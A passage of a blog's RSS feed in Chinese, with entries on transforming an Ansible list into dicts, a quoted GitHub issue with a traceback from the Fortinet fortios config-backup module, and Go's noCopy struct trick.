&lt;li>&lt;a href="https://ansible.cloudns.pro/post/how-to-transform-list-to-object-list/" target="_blank" rel="noopener">將 List 轉置為 dict 的 list&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="list">list&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">my_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="dict">dict&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">my_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="playbook">playbook&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Transform data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">orig_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">my_users&lt;/span>: []
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">set_fact&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">my_users&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ my_users + [{} | combine({&amp;#39;Name&amp;#39;: item})] }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">loop&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ orig_users }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>說明如下：&lt;/p>
&lt;ol>
&lt;li>利用 combine 這個 filter 來組出 dict&lt;/li>
&lt;li>利用 loop 去 iterate orig_users&lt;/li>
&lt;li>用 my_users + [{} | combine({&amp;lsquo;Name&amp;rsquo;: item})] 來做 List append```&lt;/li>
&lt;/ol></description></item><item><title>fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220106-ansible-galaxy-fortios-collection/</link><pubDate>Thu, 06 Jan 2022 13:40:40 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220106-ansible-galaxy-fortios-collection/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/fortinet-ansible-dev/ansible-galaxy-fortios-collection/issues/95" target="_blank" rel="noopener">fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="問題">問題&lt;/h4>
&lt;p>Hi,&lt;/p>
&lt;p>我在嘗試使用 &lt;code>fortios_system_config_backup_restore&lt;/code> 模組，並依照你的 playbook 範例從 Fortigate 取得設定。&lt;/p>
&lt;p>我使用的是 &lt;code>ansible 2.10.6&lt;/code>。&lt;/p>
&lt;p>當我使用 &lt;code>fortinet.fortios:1.1.8&lt;/code> 這個 collection 時，出現以下錯誤：&lt;code>missing 1 required positional argument: 'mod'&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>The full traceback is:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Traceback &lt;span style="color:#f92672">(&lt;/span>most recent call last&lt;span style="color:#f92672">)&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 102, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _ansiballz_main&lt;span style="color:#f92672">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 94, in _ansiballz_main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> invoke_module&lt;span style="color:#f92672">(&lt;/span>zipped_mod, temp_path, ANSIBALLZ_PARAMS&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 40, in invoke_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> runpy.run_module&lt;span style="color:#f92672">(&lt;/span>mod_name&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore&amp;#39;&lt;/span>, init_globals&lt;span style="color:#f92672">=&lt;/span>None, run_name&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;__main__&amp;#39;&lt;/span>, alter_sys&lt;span style="color:#f92672">=&lt;/span>True&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 207, in run_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> _run_module_code&lt;span style="color:#f92672">(&lt;/span>code, init_globals, run_name, mod_spec&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 97, in _run_module_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _run_code&lt;span style="color:#f92672">(&lt;/span>code, mod_globals, init_globals,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 87, in _run_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exec&lt;span style="color:#f92672">(&lt;/span>code, run_globals&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 472, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 436, in main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TypeError: __init__&lt;span style="color:#f92672">()&lt;/span> missing &lt;span style="color:#ae81ff">1&lt;/span> required positional argument: &lt;span style="color:#e6db74">&amp;#39;mod&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fatal: &lt;span style="color:#f92672">[&lt;/span>fortigate-01&lt;span style="color:#f92672">]&lt;/span>: FAILED! &lt;span style="color:#f92672">=&lt;/span>&amp;gt; &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;changed&amp;#34;&lt;/span>: false,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;module_stderr&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Traceback (most recent call last):\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 102, in &amp;lt;module&amp;gt;\n _ansiballz_main()\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 40, in invoke_module\n runpy.run_module(mod_name=&amp;#39;ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore&amp;#39;, init_globals=None, run_name=&amp;#39;__main__&amp;#39;, alter_sys=True)\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 87, in _run_code\n exec(code, run_globals)\n File \&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\&amp;#34;, line 472, in &amp;lt;module&amp;gt;\n File \&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\&amp;#34;, line 436, in main\nTypeError: __init__() missing 1 required positional argument: &amp;#39;mod&amp;#39;\n&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;module_stdout&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;msg&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;MODULE FAILURE\nSee stdout/stderr for the exact error&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;rc&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用最新的預發布版 &lt;code>fortinet.fortios:2.0.0&lt;/code> 時，我得到：&lt;/p></description></item><item><title>Gopher 需要知道的几个结构体骚操作</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220103-some-struct-notes/</link><pubDate>Mon, 03 Jan 2022 15:08:31 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20220103-some-struct-notes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/A4m1xlFwh9pD0qy3p7ItSA" target="_blank" rel="noopener">Gopher 需要知道的几个结构体骚操作&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="nocopy">NoCopy&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ go vet aaa.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># command-line-arguments&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">noCopy&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span>{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">WaitGroup&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">noCopy&lt;/span> &lt;span style="color:#a6e22e">noCopy&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 64-bit value: high 32 bits are counter, low 32 bits are waiter count.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 64-bit atomic operations require 64-bit alignment, but 32-bit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// compilers only guarantee that 64-bit fields are 32-bit aligned.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// For this reason on 32 bit architectures we need to check in state()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// if state1 is aligned or not, and dynamically &amp;#34;swap&amp;#34; the field order if&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// needed.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">state1&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">state2&lt;/span> &lt;span style="color:#66d9ef">uint32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>noCopy 定义非常简单，空结构体，zero size 不占用空间(前提是非结构体的最后一个字段，否则还要是有 8 byte 空间开销)&lt;/p></description></item></channel></rss>